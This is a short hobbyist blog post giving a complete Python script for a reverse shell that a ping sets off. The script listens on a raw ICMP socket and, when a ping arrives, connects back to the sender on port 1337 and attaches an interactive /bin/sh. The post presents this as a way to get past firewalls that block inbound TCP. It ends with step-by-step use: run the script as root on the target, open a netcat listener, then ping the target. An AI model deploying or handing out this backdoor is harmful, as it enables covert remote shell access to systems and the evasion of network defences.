Kjetil's Information Center: A Blog About My Projects

Reverse Shell with ICMP Trigger

Here is a nifty way to spawn a reverse shell that I have been thinking about for a while. Basically, this script attempts to open a shell to a remote client if it receives an ICMP (ping) package from it. This can be used to bypass firewalls that drop all inbound TCP connections, but let ICMP packages through.

Take a look:

#!/usr/bin/python

import socket
import struct
import os

def exec_shell(sock):
    os.setgroups([])
    os.setgid(99) # Nogroup
    os.setuid(99) # Nobody
    os.dup2(sock.fileno(), 0)
    os.dup2(sock.fileno(), 1)
    os.dup2(sock.fileno(), 2)
    os.execve("/bin/sh", ["/bin/sh", "-i"], {})

def icmp_listen(connect_port):
    icmp_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, \
        socket.getprotobyname("icmp"))
    icmp_sock.bind(('', 1))

    while True:
        packet = icmp_sock.recv(1024)
        header = struct.unpack("!LLL4s4sBBHHH", packet[:28])
        data = packet[28:]

        print "Connecting to", socket.inet_ntoa(header[3]),
        try:
            shell_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            shell_sock.connect((socket.inet_ntoa(header[3]), connect_port))
            print "OK!"
        except Exception, e:
            print "Failed:", e
            continue

        pid = os.fork()
        if (pid == 0):
            os.setsid()
            pid = os.fork()
            if (pid == 0):
                exec_shell(shell_sock)
            else:
                os._exit(0)

if __name__ == "__main__":
    icmp_listen(1337)
          


To use it, execute this script as root on the target host that will supply the shell. Then, on a remote client machine, use netcat to open a listening TCP port like so: "nc -l -p 1337". Finally, from the same remote client, ping the target host.

Topic: Scripts and Code, by Kjetil @ 01/09-2012, Article Link